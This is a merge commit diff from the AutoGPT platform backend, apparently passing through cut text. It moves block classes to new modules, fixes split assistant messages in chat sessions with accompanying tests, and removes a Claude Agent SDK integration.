Merge remote-tracking branch 'origin/dev' into fix/copilot-progress-bar

I'm getting circular import issues because there is a lot of
cross-importing between `backend.data`, `backend.blocks`, and other
modules. This change reduces block-related cross-imports and thus risk
of breaking circular imports.

### Changes 🏗️

- Strip down `backend.data.block`
- Move `Block` base class and related class/enum defs to
`backend.blocks._base`
  - Move `is_block_auth_configured` to `backend.blocks._utils`
- Move `get_blocks()`, `get_io_block_ids()` etc. to `backend.blocks`
(`__init__.py`)
  - Update imports everywhere
- Remove unused and poorly typed `Block.create()`
  - Change usages from `block_cls.create()` to `block_cls()`
- Improve typing of `load_all_blocks` and `get_blocks`
- Move cross-import of `backend.api.features.library.model` from
`backend/data/__init__.py` to `backend/data/integrations.py`
- Remove deprecated attribute `NodeModel.webhook`
  - Re-generate OpenAPI spec and fix frontend usage
- Eliminate module-level `backend.blocks` import from `blocks/agent.py`
- Eliminate module-level `backend.data.execution` and
`backend.executor.manager` imports from `blocks/helpers/review.py`
- Replace `BlockInput` with `GraphInput` for graph inputs

### Checklist 📋

#### For code changes:
- [x] I have clearly listed my changes in the PR description
- [x] I have made a test plan
- [x] I have tested my changes according to the test plan:
  - CI static type-checking + tests should be sufficient for this

autogpt_platform/backend/Dockerfile

@@ -62,16 +62,12 @@ ENV POETRY_HOME=/opt/poetry \
     DEBIAN_FRONTEND=noninteractive
 ENV PATH=/opt/poetry/bin:$PATH
 
-# Install Python, FFmpeg, ImageMagick, and CLI tools for agent use
+# Install Python, FFmpeg, and ImageMagick (required for video processing blocks)
-# CLI tools match ALLOWED_BASH_COMMANDS in security_hooks.py
 RUN apt-get update && apt-get install -y \
     python3.13 \
     python3-pip \
     ffmpeg \
     imagemagick \
-    jq \
-    ripgrep \
-    tree \
     && rm -rf /var/lib/apt/lists/*
 
 # Copy only necessary files from builder

autogpt_platform/backend/backend/api/external/v1/routes.py

@@ -10,7 +10,7 @@ from typing_extensions import TypedDict
 
 import backend.api.features.store.cache as store_cache
 import backend.api.features.store.model as store_model
-import backend.data.block
+import backend.blocks
 from backend.api.external.middleware import require_permission
 from backend.data import execution as execution_db
 from backend.data import graph as graph_db
@@ -67,7 +67,7 @@ async def get_user_info(
     dependencies=[Security(require_permission(APIKeyPermission.READ_BLOCK))],
 )
 async def get_graph_blocks() -> Sequence[dict[Any, Any]]:
-    blocks = [block() for block in backend.data.block.get_blocks().values()]
+    blocks = [block() for block in backend.blocks.get_blocks().values()]
     return [b.to_dict() for b in blocks if not b.disabled]
 
 
@@ -83,7 +83,7 @@ async def execute_graph_block(
         require_permission(APIKeyPermission.EXECUTE_BLOCK)
     ),
 ) -> CompletedBlockOutput:
-    obj = backend.data.block.get_block(block_id)
+    obj = backend.blocks.get_block(block_id)
     if not obj:
         raise HTTPException(status_code=404, detail=f"Block #{block_id} not found.")
     if obj.disabled:

autogpt_platform/backend/backend/api/features/builder/db.py

@@ -10,10 +10,15 @@ import backend.api.features.library.db as library_db
 import backend.api.features.library.model as library_model
 import backend.api.features.store.db as store_db
 import backend.api.features.store.model as store_model
-import backend.data.block
 from backend.blocks import load_all_blocks
+from backend.blocks._base import (
+    AnyBlockSchema,
+    BlockCategory,
+    BlockInfo,
+    BlockSchema,
+    BlockType,
+)
 from backend.blocks.llm import LlmModel
-from backend.data.block import AnyBlockSchema, BlockCategory, BlockInfo, BlockSchema
 from backend.data.db import query_raw_with_schema
 from backend.integrations.providers import ProviderName
 from backend.util.cache import cached
@@ -22,7 +27,7 @@ from backend.util.models import Pagination
 from .model import (
     BlockCategoryResponse,
     BlockResponse,
-    BlockType,
+    BlockTypeFilter,
     CountResponse,
     FilterType,
     Provider,
@@ -88,7 +93,7 @@ def get_block_categories(category_blocks: int = 3) -> list[BlockCategoryResponse
 def get_blocks(
     *,
     category: str | None = None,
-    type: BlockType | None = None,
+    type: BlockTypeFilter | None = None,
     provider: ProviderName | None = None,
     page: int = 1,
     page_size: int = 50,
@@ -669,9 +674,9 @@ async def get_suggested_blocks(count: int = 5) -> list[BlockInfo]:
     for block_type in load_all_blocks().values():
         block: AnyBlockSchema = block_type()
         if block.disabled or block.block_type in (
-            backend.data.block.BlockType.INPUT,
+            BlockType.INPUT,
-            backend.data.block.BlockType.OUTPUT,
+            BlockType.OUTPUT,
-            backend.data.block.BlockType.AGENT,
+            BlockType.AGENT,
         ):
             continue
         # Find the execution count for this block

autogpt_platform/backend/backend/api/features/builder/model.py

@@ -4,7 +4,7 @@ from pydantic import BaseModel
 
 import backend.api.features.library.model as library_model
 import backend.api.features.store.model as store_model
-from backend.data.block import BlockInfo
+from backend.blocks._base import BlockInfo
 from backend.integrations.providers import ProviderName
 from backend.util.models import Pagination
 
@@ -15,7 +15,7 @@ FilterType = Literal[
     "my_agents",
 ]
 
-BlockType = Literal["all", "input", "action", "output"]
+BlockTypeFilter = Literal["all", "input", "action", "output"]
 
 
 class SearchEntry(BaseModel):

autogpt_platform/backend/backend/api/features/builder/routes.py

@@ -88,7 +88,7 @@ async def get_block_categories(
 )
 async def get_blocks(
     category: Annotated[str | None, fastapi.Query()] = None,
-    type: Annotated[builder_model.BlockType | None, fastapi.Query()] = None,
+    type: Annotated[builder_model.BlockTypeFilter | None, fastapi.Query()] = None,
     provider: Annotated[ProviderName | None, fastapi.Query()] = None,
     page: Annotated[int, fastapi.Query()] = 1,
     page_size: Annotated[int, fastapi.Query()] = 50,

autogpt_platform/backend/backend/api/features/chat/config.py

@@ -27,11 +27,12 @@ class ChatConfig(BaseSettings):
     session_ttl: int = Field(default=43200, description="Session TTL in seconds")
 
     # Streaming Configuration
-    stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
+    max_context_messages: int = Field(
-    max_retries: int = Field(
+        default=50, ge=1, le=200, description="Maximum context messages"
-        default=3,
-        description="Max retries for fallback path (SDK handles retries internally)",
     )
+
+    stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
+    max_retries: int = Field(default=3, description="Maximum number of retries")
     max_agent_runs: int = Field(default=30, description="Maximum number of agent runs")
     max_agent_schedules: int = Field(
         default=30, description="Maximum number of agent schedules"
@@ -92,17 +93,6 @@ class ChatConfig(BaseSettings):
         description="Name of the prompt in Langfuse to fetch",
     )
 
-    # Claude Agent SDK Configuration
-    use_claude_agent_sdk: bool = Field(
-        default=True,
-        description="Use Claude Agent SDK for chat completions",
-    )
-    sdk_max_buffer_size: int = Field(
-        default=10 * 1024 * 1024,  # 10MB (default SDK is 1MB)
-        description="Max buffer size in bytes for SDK JSON message parsing. "
-        "Increase if tool outputs exceed the limit.",
-    )
-
     # Extended thinking configuration for Claude models
     thinking_enabled: bool = Field(
         default=True,
@@ -148,17 +138,6 @@ class ChatConfig(BaseSettings):
             v = os.getenv("CHAT_INTERNAL_API_KEY")
         return v
 
-    @field_validator("use_claude_agent_sdk", mode="before")
-    @classmethod
-    def get_use_claude_agent_sdk(cls, v):
-        """Get use_claude_agent_sdk from environment if not provided."""
-        # Check environment variable - default to True if not set
-        env_val = os.getenv("CHAT_USE_CLAUDE_AGENT_SDK", "").lower()
-        if env_val:
-            return env_val in ("true", "1", "yes", "on")
-        # Default to True (SDK enabled by default)
-        return True if v is None else v
-
     # Prompt paths for different contexts
     PROMPT_PATHS: dict[str, str] = {
         "default": "prompts/chat_system.md",

autogpt_platform/backend/backend/api/features/chat/model.py

@@ -2,7 +2,7 @@ import asyncio
 import logging
 import uuid
 from datetime import UTC, datetime
-from typing import Any
+from typing import Any, cast
 from weakref import WeakValueDictionary
 
 from openai.types.chat import (
@@ -104,6 +104,26 @@ class ChatSession(BaseModel):
     successful_agent_runs: dict[str, int] = {}
     successful_agent_schedules: dict[str, int] = {}
 
+    def add_tool_call_to_current_turn(self, tool_call: dict) -> None:
+        """Attach a tool_call to the current turn's assistant message.
+
+        Searches backwards for the most recent assistant message (stopping at
+        any user message boundary). If found, appends the tool_call to it.
+        Otherwise creates a new assistant message with the tool_call.
+        """
+        for msg in reversed(self.messages):
+            if msg.role == "user":
+                break
+            if msg.role == "assistant":
+                if not msg.tool_calls:
+                    msg.tool_calls = []
+                msg.tool_calls.append(tool_call)
+                return
+
+        self.messages.append(
+            ChatMessage(role="assistant", content="", tool_calls=[tool_call])
+        )
+
     @staticmethod
     def new(user_id: str) -> "ChatSession":
         return ChatSession(
@@ -172,6 +192,47 @@ class ChatSession(BaseModel):
             successful_agent_schedules=successful_agent_schedules,
         )
 
+    @staticmethod
+    def _merge_consecutive_assistant_messages(
+        messages: list[ChatCompletionMessageParam],
+    ) -> list[ChatCompletionMessageParam]:
+        """Merge consecutive assistant messages into single messages.
+
+        Long-running tool flows can create split assistant messages: one with
+        text content and another with tool_calls. Anthropic's API requires
+        tool_result blocks to reference a tool_use in the immediately preceding
+        assistant message, so these splits cause 400 errors via OpenRouter.
+        """
+        if len(messages) < 2:
+            return messages
+
+        result: list[ChatCompletionMessageParam] = [messages[0]]
+        for msg in messages[1:]:
+            prev = result[-1]
+            if prev.get("role") != "assistant" or msg.get("role") != "assistant":
+                result.append(msg)
+                continue
+
+            prev = cast(ChatCompletionAssistantMessageParam, prev)
+            curr = cast(ChatCompletionAssistantMessageParam, msg)
+
+            curr_content = curr.get("content") or ""
+            if curr_content:
+                prev_content = prev.get("content") or ""
+                prev["content"] = (
+                    f"{prev_content}\n{curr_content}" if prev_content else curr_content
+                )
+
+            curr_tool_calls = curr.get("tool_calls")
+            if curr_tool_calls:
+                prev_tool_calls = prev.get("tool_calls")
+                prev["tool_calls"] = (
+                    list(prev_tool_calls) + list(curr_tool_calls)
+                    if prev_tool_calls
+                    else list(curr_tool_calls)
+                )
+        return result
+
     def to_openai_messages(self) -> list[ChatCompletionMessageParam]:
         messages = []
         for message in self.messages:
@@ -258,7 +319,7 @@ class ChatSession(BaseModel):
                         name=message.name or "",
                     )
                 )
-        return messages
+        return self._merge_consecutive_assistant_messages(messages)
 
 
 async def _get_session_from_cache(session_id: str) -> ChatSession | None:
@@ -273,8 +334,9 @@ async def _get_session_from_cache(session_id: str) -> ChatSession | None:
     try:
         session = ChatSession.model_validate_json(raw_session)
         logger.info(
-            f"[CACHE] Loaded session {session_id}: {len(session.messages)} messages, "
+            f"Loading session {session_id} from cache: "
-            f"last_roles={[m.role for m in session.messages[-3:]]}"  # Last 3 roles
+            f"message_count={len(session.messages)}, "
+            f"roles={[m.role for m in session.messages]}"
         )
         return session
     except Exception as e:
@@ -316,9 +378,11 @@ async def _get_session_from_db(session_id: str) -> ChatSession | None:
         return None
 
     messages = prisma_session.Messages
-    logger.debug(
+    logger.info(
-        f"[DB] Loaded session {session_id}: {len(messages) if messages else 0} messages, "
+        f"Loading session {session_id} from DB: "
-        f"roles={[m.role for m in messages[-3:]] if messages else []}"  # Last 3 roles
+        f"has_messages={messages is not None}, "
+        f"message_count={len(messages) if messages else 0}, "
+        f"roles={[m.role for m in messages] if messages else []}"
     )
 
     return ChatSession.from_db(prisma_session, messages)
@@ -369,9 +433,10 @@ async def _save_session_to_db(
                     "function_call": msg.function_call,
                 }
             )
-        logger.debug(
+        logger.info(
-            f"[DB] Saving {len(new_messages)} messages to session {session.session_id}, "
+            f"Saving {len(new_messages)} new messages to DB for session {session.session_id}: "
-            f"roles={[m['role'] for m in messages_data]}"
+            f"roles={[m['role'] for m in messages_data]}, "
+            f"start_sequence={existing_message_count}"
         )
         await chat_db.add_chat_messages_batch(
             session_id=session.session_id,
@@ -411,7 +476,7 @@ async def get_chat_session(
         logger.warning(f"Unexpected cache error for session {session_id}: {e}")
 
     # Fall back to database
-    logger.debug(f"Session {session_id} not in cache, checking database")
+    logger.info(f"Session {session_id} not in cache, checking database")
     session = await _get_session_from_db(session_id)
 
     if session is None:
@@ -428,6 +493,7 @@ async def get_chat_session(
     # Cache the session from DB
     try:
         await _cache_session(session)
+        logger.info(f"Cached session {session_id} from database")
     except Exception as e:
         logger.warning(f"Failed to cache session {session_id}: {e}")
 
@@ -492,40 +558,6 @@ async def upsert_chat_session(
         return session
 
 
-async def append_and_save_message(session_id: str, message: ChatMessage) -> ChatSession:
-    """Atomically append a message to a session and persist it.
-
-    Acquires the session lock, re-fetches the latest session state,
-    appends the message, and saves — preventing message loss when
-    concurrent requests modify the same session.
-    """
-    lock = await _get_session_lock(session_id)
-
-    async with lock:
-        session = await get_chat_session(session_id)
-        if session is None:
-            raise ValueError(f"Session {session_id} not found")
-
-        session.messages.append(message)
-        existing_message_count = await chat_db.get_chat_session_message_count(
-            session_id
-        )
-
-        try:
-            await _save_session_to_db(session, existing_message_count)
-        except Exception as e:
-            raise DatabaseError(
-                f"Failed to persist message to session {session_id}"
-            ) from e
-
-        try:
-            await _cache_session(session)
-        except Exception as e:
-            logger.warning(f"Cache write failed for session {session_id}: {e}")
-
-        return session
-
-
 async def create_chat_session(user_id: str) -> ChatSession:
     """Create a new chat session and persist it.
 
@@ -632,19 +664,13 @@ async def update_session_title(session_id: str, title: str) -> bool:
             logger.warning(f"Session {session_id} not found for title update")
             return False
 
-        # Update title in cache if it exists (instead of invalidating).
+        # Invalidate cache so next fetch gets updated title
-        # This prevents race conditions where cache invalidation causes
-        # the frontend to see stale DB data while streaming is still in progress.
         try:
-            cached = await _get_session_from_cache(session_id)
+            redis_key = _get_session_cache_key(session_id)
-            if cached:
+            async_redis = await get_redis_async()
-                cached.title = title
+            await async_redis.delete(redis_key)
-                await _cache_session(cached)
         except Exception as e:
-            # Not critical - title will be correct on next full cache refresh
+            logger.warning(f"Failed to invalidate cache for session {session_id}: {e}")
-            logger.warning(
-                f"Failed to update title in cache for session {session_id}: {e}"
-            )
 
         return True
     except Exception as e:

autogpt_platform/backend/backend/api/features/chat/model_test.py

@@ -1,4 +1,16 @@
+from typing import cast
+
 import pytest
+from openai.types.chat import (
+    ChatCompletionAssistantMessageParam,
+    ChatCompletionMessageParam,
+    ChatCompletionToolMessageParam,
+    ChatCompletionUserMessageParam,
+)
+from openai.types.chat.chat_completion_message_tool_call_param import (
+    ChatCompletionMessageToolCallParam,
+    Function,
+)
 
 from .model import (
     ChatMessage,
@@ -117,3 +129,205 @@ async def test_chatsession_db_storage(setup_test_user, test_user_id):
                 loaded.tool_calls is not None
             ), f"Tool calls missing for {orig.role} message"
             assert len(orig.tool_calls) == len(loaded.tool_calls)
+
+
+# --------------------------------------------------------------------------- #
+#  _merge_consecutive_assistant_messages                                       #
+# --------------------------------------------------------------------------- #
+
+_tc = ChatCompletionMessageToolCallParam(
+    id="tc1", type="function", function=Function(name="do_stuff", arguments="{}")
+)
+_tc2 = ChatCompletionMessageToolCallParam(
+    id="tc2", type="function", function=Function(name="other", arguments="{}")
+)
+
+
+def test_merge_noop_when_no_consecutive_assistants():
+    """Messages without consecutive assistants are returned unchanged."""
+    msgs = [
+        ChatCompletionUserMessageParam(role="user", content="hi"),
+        ChatCompletionAssistantMessageParam(role="assistant", content="hello"),
+        ChatCompletionUserMessageParam(role="user", content="bye"),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)
+    assert len(merged) == 3
+    assert [m["role"] for m in merged] == ["user", "assistant", "user"]
+
+
+def test_merge_splits_text_and_tool_calls():
+    """The exact bug scenario: text-only assistant followed by tool_calls-only assistant."""
+    msgs = [
+        ChatCompletionUserMessageParam(role="user", content="build agent"),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="Let me build that"
+        ),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="", tool_calls=[_tc]
+        ),
+        ChatCompletionToolMessageParam(role="tool", content="ok", tool_call_id="tc1"),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)
+
+    assert len(merged) == 3
+    assert merged[0]["role"] == "user"
+    assert merged[2]["role"] == "tool"
+    a = cast(ChatCompletionAssistantMessageParam, merged[1])
+    assert a["role"] == "assistant"
+    assert a.get("content") == "Let me build that"
+    assert a.get("tool_calls") == [_tc]
+
+
+def test_merge_combines_tool_calls_from_both():
+    """Both consecutive assistants have tool_calls — they get merged."""
+    msgs: list[ChatCompletionAssistantMessageParam] = [
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="text", tool_calls=[_tc]
+        ),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="", tool_calls=[_tc2]
+        ),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)  # type: ignore[arg-type]
+
+    assert len(merged) == 1
+    a = cast(ChatCompletionAssistantMessageParam, merged[0])
+    assert a.get("tool_calls") == [_tc, _tc2]
+    assert a.get("content") == "text"
+
+
+def test_merge_three_consecutive_assistants():
+    """Three consecutive assistants collapse into one."""
+    msgs: list[ChatCompletionAssistantMessageParam] = [
+        ChatCompletionAssistantMessageParam(role="assistant", content="a"),
+        ChatCompletionAssistantMessageParam(role="assistant", content="b"),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="", tool_calls=[_tc]
+        ),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)  # type: ignore[arg-type]
+
+    assert len(merged) == 1
+    a = cast(ChatCompletionAssistantMessageParam, merged[0])
+    assert a.get("content") == "a\nb"
+    assert a.get("tool_calls") == [_tc]
+
+
+def test_merge_empty_and_single_message():
+    """Edge cases: empty list and single message."""
+    assert ChatSession._merge_consecutive_assistant_messages([]) == []
+
+    single: list[ChatCompletionMessageParam] = [
+        ChatCompletionUserMessageParam(role="user", content="hi")
+    ]
+    assert ChatSession._merge_consecutive_assistant_messages(single) == single
+
+
+# --------------------------------------------------------------------------- #
+#  add_tool_call_to_current_turn                                               #
+# --------------------------------------------------------------------------- #
+
+_raw_tc = {
+    "id": "tc1",
+    "type": "function",
+    "function": {"name": "f", "arguments": "{}"},
+}
+_raw_tc2 = {
+    "id": "tc2",
+    "type": "function",
+    "function": {"name": "g", "arguments": "{}"},
+}
+
+
+def test_add_tool_call_appends_to_existing_assistant():
+    """When the last assistant is from the current turn, tool_call is added to it."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="hi"),
+        ChatMessage(role="assistant", content="working on it"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+
+    assert len(session.messages) == 2  # no new message created
+    assert session.messages[1].tool_calls == [_raw_tc]
+
+
+def test_add_tool_call_creates_assistant_when_none_exists():
+    """When there's no current-turn assistant, a new one is created."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="hi"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+
+    assert len(session.messages) == 2
+    assert session.messages[1].role == "assistant"
+    assert session.messages[1].tool_calls == [_raw_tc]
+
+
+def test_add_tool_call_does_not_cross_user_boundary():
+    """A user message acts as a boundary — previous assistant is not modified."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="assistant", content="old turn"),
+        ChatMessage(role="user", content="new message"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+
+    assert len(session.messages) == 3  # new assistant was created
+    assert session.messages[0].tool_calls is None  # old assistant untouched
+    assert session.messages[2].role == "assistant"
+    assert session.messages[2].tool_calls == [_raw_tc]
+
+
+def test_add_tool_call_multiple_times():
+    """Multiple long-running tool calls accumulate on the same assistant."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="hi"),
+        ChatMessage(role="assistant", content="doing stuff"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+    # Simulate a pending tool result in between (like _yield_tool_call does)
+    session.messages.append(
+        ChatMessage(role="tool", content="pending", tool_call_id="tc1")
+    )
+    session.add_tool_call_to_current_turn(_raw_tc2)
+
+    assert len(session.messages) == 3  # user, assistant, tool — no extra assistant
+    assert session.messages[1].tool_calls == [_raw_tc, _raw_tc2]
+
+
+def test_to_openai_messages_merges_split_assistants():
+    """End-to-end: session with split assistants produces valid OpenAI messages."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="build agent"),
+        ChatMessage(role="assistant", content="Let me build that"),
+        ChatMessage(
+            role="assistant",
+            content="",
+            tool_calls=[
+                {
+                    "id": "tc1",
+                    "type": "function",
+                    "function": {"name": "create_agent", "arguments": "{}"},
+                }
+            ],
+        ),
+        ChatMessage(role="tool", content="done", tool_call_id="tc1"),
+        ChatMessage(role="assistant", content="Saved!"),
+        ChatMessage(role="user", content="show me an example run"),
+    ]
+    openai_msgs = session.to_openai_messages()
+
+    # The two consecutive assistants at index 1,2 should be merged
+    roles = [m["role"] for m in openai_msgs]
+    assert roles == ["user", "assistant", "tool", "assistant", "user"]
+
+    # The merged assistant should have both content and tool_calls
+    merged = cast(ChatCompletionAssistantMessageParam, openai_msgs[1])
+    assert merged.get("content") == "Let me build that"
+    tc_list = merged.get("tool_calls")
+    assert tc_list is not None and len(list(tc_list)) == 1
+    assert list(tc_list)[0]["id"] == "tc1"

autogpt_platform/backend/backend/api/features/chat/routes.py

@@ -1,6 +1,5 @@
 """Chat API routes for chat session management and streaming via SSE."""
 
-import asyncio
 import logging
 import uuid as uuid_module
 from collections.abc import AsyncGenerator
@@ -17,16 +16,8 @@ from . import service as chat_service
 from . import stream_registry
 from .completion_handler import process_operation_failure, process_operation_success
 from .config import ChatConfig
-from .model import (
+from .model import ChatSession, create_chat_session, get_chat_session, get_user_sessions
-    ChatMessage,
+from .response_model import StreamFinish, StreamHeartbeat
-    ChatSession,
-    append_and_save_message,
-    create_chat_session,
-    get_chat_session,
-    get_user_sessions,
-)
-from .response_model import StreamError, StreamFinish, StreamHeartbeat, StreamStart
-from .sdk import service as sdk_service
 from .tools.models import (
     AgentDetailsResponse,
     AgentOutputResponse,
@@ -49,7 +40,6 @@ from .tools.models import (
     SetupRequirementsResponse,
     UnderstandingUpdatedResponse,
 )
-from .tracking import track_user_message
 
 config = ChatConfig()
 
@@ -241,10 +231,6 @@ async def get_session(
     active_task, last_message_id = await stream_registry.get_active_task_for_session(
         session_id, user_id
     )
-    logger.info(
-        f"[GET_SESSION] session={session_id}, active_task={active_task is not None}, "
-        f"msg_count={len(messages)}, last_role={messages[-1].get('role') if messages else 'none'}"
-    )
     if active_task:
         # Filter out the in-progress assistant message from the session response.
         # The client will receive the complete assistant response through the SSE
@@ -314,9 +300,10 @@ async def stream_chat_post(
         f"user={user_id}, message_len={len(request.message)}",
         extra={"json_fields": log_meta},
     )
+
     session = await _validate_and_get_session(session_id, user_id)
     logger.info(
-        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time) * 1000:.1f}ms",
+        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time)*1000:.1f}ms",
         extra={
             "json_fields": {
                 **log_meta,
@@ -325,25 +312,6 @@ async def stream_chat_post(
         },
     )
 
-    # Atomically append user message to session BEFORE creating task to avoid
-    # race condition where GET_SESSION sees task as "running" but message isn't
-    # saved yet.  append_and_save_message re-fetches inside a lock to prevent
-    # message loss from concurrent requests.
-    if request.message:
-        message = ChatMessage(
-            role="user" if request.is_user_message else "assistant",
-            content=request.message,
-        )
-        if request.is_user_message:
-            track_user_message(
-                user_id=user_id,
-                session_id=session_id,
-                message_length=len(request.message),
-            )
-        logger.info(f"[STREAM] Saving user message to session {session_id}")
-        session = await append_and_save_message(session_id, message)
-        logger.info(f"[STREAM] User message saved for session {session_id}")
-
     # Create a task in the stream registry for reconnection support
     task_id = str(uuid_module.uuid4())
     operation_id = str(uuid_module.uuid4())
@@ -359,7 +327,7 @@ async def stream_chat_post(
         operation_id=operation_id,
     )
     logger.info(
-        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start) * 1000:.1f}ms",
+        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start)*1000:.1f}ms",
         extra={
             "json_fields": {
                 **log_meta,
@@ -380,43 +348,15 @@ async def stream_chat_post(
         first_chunk_time, ttfc = None, None
         chunk_count = 0
         try:
-            # Emit a start event with task_id for reconnection
+            async for chunk in chat_service.stream_chat_completion(
-            start_chunk = StreamStart(messageId=task_id, taskId=task_id)
-            await stream_registry.publish_chunk(task_id, start_chunk)
-            logger.info(
-                f"[TIMING] StreamStart published at {(time_module.perf_counter() - gen_start_time) * 1000:.1f}ms",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "elapsed_ms": (time_module.perf_counter() - gen_start_time)
-                        * 1000,
-                    }
-                },
-            )
-
-            # Choose service based on configuration
-            use_sdk = config.use_claude_agent_sdk
-            stream_fn = (
-                sdk_service.stream_chat_completion_sdk
-                if use_sdk
-                else chat_service.stream_chat_completion
-            )
-            logger.info(
-                f"[TIMING] Calling {'sdk' if use_sdk else 'standard'} stream_chat_completion",
-                extra={"json_fields": log_meta},
-            )
-            # Pass message=None since we already added it to the session above
-            async for chunk in stream_fn(
                 session_id,
-                None,  # Message already in session
+                request.message,
                 is_user_message=request.is_user_message,
                 user_id=user_id,
-                session=session,  # Pass session with message already added
+                session=session,  # Pass pre-fetched session to avoid double-fetch
                 context=request.context,
+                _task_id=task_id,  # Pass task_id so service emits start with taskId for reconnection
             ):
-                # Skip duplicate StreamStart — we already published one above
-                if isinstance(chunk, StreamStart):
-                    continue
                 chunk_count += 1
                 if first_chunk_time is None:
                     first_chunk_time = time_module.perf_counter()
@@ -437,7 +377,7 @@ async def stream_chat_post(
             gen_end_time = time_module.perf_counter()
             total_time = (gen_end_time - gen_start_time) * 1000
             logger.info(
-                f"[TIMING] run_ai_generation FINISHED in {total_time / 1000:.1f}s; "
+                f"[TIMING] run_ai_generation FINISHED in {total_time/1000:.1f}s; "
                 f"task={task_id}, session={session_id}, "
                 f"ttfc={ttfc or -1:.2f}s, n_chunks={chunk_count}",
                 extra={
@@ -464,17 +404,6 @@ async def stream_chat_post(
                     }
                 },
             )
-            # Publish a StreamError so the frontend can display an error message
-            try:
-                await stream_registry.publish_chunk(
-                    task_id,
-                    StreamError(
-                        errorText="An error occurred. Please try again.",
-                        code="stream_error",
-                    ),
-                )
-            except Exception:
-                pass  # Best-effort; mark_task_completed will publish StreamFinish
             await stream_registry.mark_task_completed(task_id, "failed")
 
     # Start the AI generation in a background task
@@ -577,14 +506,8 @@ async def stream_chat_post(
                     "json_fields": {**log_meta, "elapsed_ms": elapsed, "error": str(e)}
                 },
             )
-            # Surface error to frontend so it doesn't appear stuck
-            yield StreamError(
-                errorText="An error occurred. Please try again.",
-                code="stream_error",
-            ).to_sse()
-            yield StreamFinish().to_sse()
         finally:
-            # Unsubscribe when client disconnects or stream ends
+            # Unsubscribe when client disconnects or stream ends to prevent resource leak
             if subscriber_queue is not None:
                 try:
                     await stream_registry.unsubscribe_from_task(
@@ -828,6 +751,8 @@ async def stream_task(
         )
 
     async def event_generator() -> AsyncGenerator[str, None]:
+        import asyncio
+
         heartbeat_interval = 15.0  # Send heartbeat every 15 seconds
         try:
             while True:

autogpt_platform/backend/backend/api/features/chat/sdk/__init__.py

@@ -1,14 +0,0 @@
-"""Claude Agent SDK integration for CoPilot.
-
-This module provides the integration layer between the Claude Agent SDK
-and the existing CoPilot tool system, enabling drop-in replacement of
-the current LLM orchestration with the battle-tested Claude Agent SDK.
-"""
-
-from .service import stream_chat_completion_sdk
-from .tool_adapter import create_copilot_mcp_server
-
-__all__ = [
-    "stream_chat_completion_sdk",
-    "create_copilot_mcp_server",
-]

autogpt_platform/backend/backend/api/features/chat/sdk/anthropic_fallback.py

@@ -1,354 +0,0 @@
-"""Anthropic SDK fallback implementation.
-
-This module provides the fallback streaming implementation using the Anthropic SDK
-directly when the Claude Agent SDK is not available.
-"""
-
-import json
-import logging
-import os
-import uuid
-from collections.abc import AsyncGenerator
-from typing import Any, cast
-
-from ..config import ChatConfig
-from ..model import ChatMessage, ChatSession
-from ..response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-    StreamUsage,
-)
-from .tool_adapter import get_tool_definitions, get_tool_handlers
-
-logger = logging.getLogger(__name__)
-config = ChatConfig()
-
-# Maximum tool-call iterations before stopping to prevent infinite loops
-_MAX_TOOL_ITERATIONS = 10
-
-
-async def stream_with_anthropic(
-    session: ChatSession,
-    system_prompt: str,
-    text_block_id: str,
-) -> AsyncGenerator[StreamBaseResponse, None]:
-    """Stream using Anthropic SDK directly with tool calling support.
-
-    This function accumulates messages into the session for persistence.
-    The caller should NOT yield an additional StreamFinish - this function handles it.
-    """
-    import anthropic
-
-    # Only use ANTHROPIC_API_KEY - don't fall back to OpenRouter keys
-    api_key = os.getenv("ANTHROPIC_API_KEY")
-    if not api_key:
-        yield StreamError(
-            errorText="ANTHROPIC_API_KEY not configured for fallback",
-            code="config_error",
-        )
-        yield StreamFinish()
-        return
-
-    client = anthropic.AsyncAnthropic(api_key=api_key)
-    tool_definitions = get_tool_definitions()
-    tool_handlers = get_tool_handlers()
-
-    anthropic_tools = [
-        {
-            "name": t["name"],
-            "description": t["description"],
-            "input_schema": t["inputSchema"],
-        }
-        for t in tool_definitions
-    ]
-
-    anthropic_messages = _convert_session_to_anthropic(session)
-
-    if not anthropic_messages or anthropic_messages[-1]["role"] != "user":
-        anthropic_messages.append(
-            {"role": "user", "content": "Continue with the task."}
-        )
-
-    has_started_text = False
-    accumulated_text = ""
-    accumulated_tool_calls: list[dict[str, Any]] = []
-
-    for _ in range(_MAX_TOOL_ITERATIONS):
-        try:
-            async with client.messages.stream(
-                model=(
-                    config.model.split("/")[-1] if "/" in config.model else config.model
-                ),
-                max_tokens=4096,
-                system=system_prompt,
-                messages=cast(Any, anthropic_messages),
-                tools=cast(Any, anthropic_tools) if anthropic_tools else [],
-            ) as stream:
-                async for event in stream:
-                    if event.type == "content_block_start":
-                        block = event.content_block
-                        if hasattr(block, "type"):
-                            if block.type == "text" and not has_started_text:
